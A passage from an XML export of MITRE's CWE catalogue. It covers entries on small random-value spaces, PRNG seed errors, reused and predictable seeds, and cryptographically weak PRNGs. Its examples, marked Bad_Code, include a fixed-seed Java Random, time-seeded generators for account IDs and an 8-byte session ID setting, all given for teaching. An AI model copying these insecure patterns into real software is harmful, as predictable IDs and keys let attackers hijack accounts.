					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could easily guess the values used. This could lead to
							unauthorized access to a system if the seed is used for authentication
							and authorization.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.334.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-47">
					          <Intro_Text>The following XML example code is a deployment descriptor for a Java
						web application deployed on a Sun Java Application Server. This deployment
						descriptor includes a session configuration property for configuring the
						session ID length.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;sun-web-app&gt;</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>&lt;session-config&gt;</Code>
								                <Block>
									                  <Code>&lt;session-properties&gt;</Code>
									                  <Block>
										                    <Code>&lt;property name="idLengthBytes"
											value="8"&gt;</Code>
										                    <Block>
											                      <Code>&lt;description&gt;The number of bytes in
												this web module's session
												ID.&lt;/description&gt;</Code>
										                    </Block>
										                    <Code>&lt;/property&gt;</Code>
									                  </Block>
									                  <Code>&lt;/session-properties&gt;</Code>
								                </Block>
								                <Code>&lt;/session-config&gt;</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>&lt;/sun-web-app&gt;</Code>
						            </Block>
						            <Text>This deployment descriptor has set the session ID length for this Java
							web application to 8 bytes (or 64 bits). The session ID length for Java
							web applications should be set to 16 bytes (128 bits) to prevent
							attackers from guessing and/or stealing a session ID and taking over a
							user's session.</Text>
						            <Text> Note for most application servers including the Sun Java Application
							Server the session ID length is by default set to 128 bits and should
							not be changed. And for many application servers the session ID length
							cannot be changed from this default setting. Check your application
							server documentation for the session ID length default setting and
							configuration options to ensure that the session ID length is set to 128
							bits.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0583</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses 5 alphanumeric characters for
						filenames of expense claim reports, stored under web
						root.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0903</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses small number of random numbers for a
						code to approve an action, and also uses predictable new user IDs, allowing
						attackers to hijack new accounts.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1230</Observed_Example_Reference>
					          <Observed_Example_Description>SYN cookies implementation only uses 32-bit keys,
						making it easier to brute force ISN.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0230</Observed_Example_Reference>
					          <Observed_Example_Description>Complex predictability / randomness (reduced
						space).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.334.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.334.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Small Space of Random Values</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="335" Name="PRNG Seed Error" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>A Pseudo-Random Number Generator (PRNG) uses seeds
					incorrectly.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>if a PRNG is used incorrectly, such as using the same seed for each
							initialization or using a predictable seed, then an attacker may be able
							to easily guess the seed and thus the random numbers. This could lead to
							unauthorized access to a system if the seed is used for authentication
							and authorization.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>PRNG Seed Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="336" Name="Same Seed in PRNG" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A PRNG uses the same seed each time the product is initialized.
					If an attacker can guess (or knows) the seed, then he/she may be able to
					determine the "random" number produced from the PRNG.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>335</Relationship_Target_ID>
					          <!--PRNG Seed Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds
							itself as needed from a high quality pseudo-random output, such as
							hardware devices.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.336.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java code uses the same seed value for a statistical
						PRNG on every invocation.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private static final long SEED = 1234567890;</Code>
							              <Code>public int generateAccountID() {</Code>
							              <Block>
								                <Code>Random random = new Random(SEED);</Code>
								                <Code>return random.nextInt();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.336.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Same Seed in PRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="337" Name="Predictable Seed in PRNG" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A PRNG is initialized from a predictable seed, e.g. using
					process ID or system time.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>335</Relationship_Target_ID>
					          <!--PRNG Seed Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Use non-predictable inputs for seed generation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use products or modules that conform to FIPS 140-2 [R.337.1] to avoid
							obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random
							Number Generators").</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-50">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a PRNG that periodically re-seeds itself using input from
							high-quality sources, such as hardware devices with high entropy.
							However, do not re-seed too frequently, or else the entropy source might
							block.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-102">
					          <Intro_Text>Both of these examples use a statistical PRNG seeded with the
						current value of the system clock to generate a random number: </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Random random = new Random(System.currentTimeMillis());</Code>
							              <Code>int accountID = random.nextInt();</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>srand(time()); </Code>
							              <Code>int randNum = rand();</Code>
						            </Block>
						            <Text>An attacker can easily predict the seed used by these PRNGs, and so
							also predict the stream of random numbers generated. Note these examples
							also exhibit CWE-338 (Use of Cryptographically Weak PRNG).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.337.1">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.337.2">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 20: Weak Random Numbers." Page 299</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Predictable Seed in PRNG</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Generate strong random numbers</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="338" Name="Use of Cryptographically Weak PRNG" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a Pseudo-Random Number Generator (PRNG) in a
					security context, but the PRNG is not cryptographically
					strong.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>330</Relationship_Target_ID>
					          <!--Use of Insufficiently Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>905</Relationship_Target_ID>
					          <!--SFP Cluster: Predictability-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Often a pseudo-random number generator (PRNG) is not designed for
						cryptography. Sometimes a mediocre source of randomness is sufficient or
						preferable for algorithms which use random numbers. Weak generators
						generally take less processing power and/or do not use the precious, finite,
						entropy sources on a system.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a PRNG is used for authentication and authorization, such as a
							session ID or a seed for generating a cryptographic key, then an
							attacker may be able to easily guess the ID or cryptographic key and
							gain access to restricted functionality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use functions or hardware which use a hardware-based random number
							generation for all crypto. This is the recommended solution. Use
							CyptGenRandom on Windows, or hw_rand() on Linux.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-102">
					          <Intro_Text>Both of these examples use a statistical PRNG to generate a random
						number:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Random random = new Random(System.currentTimeMillis());</Code>
							              <Code>int accountID = random.nextInt();</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>srand(time()); </Code>
							              <Code>int randNum = rand();</Code>
						            </Block>
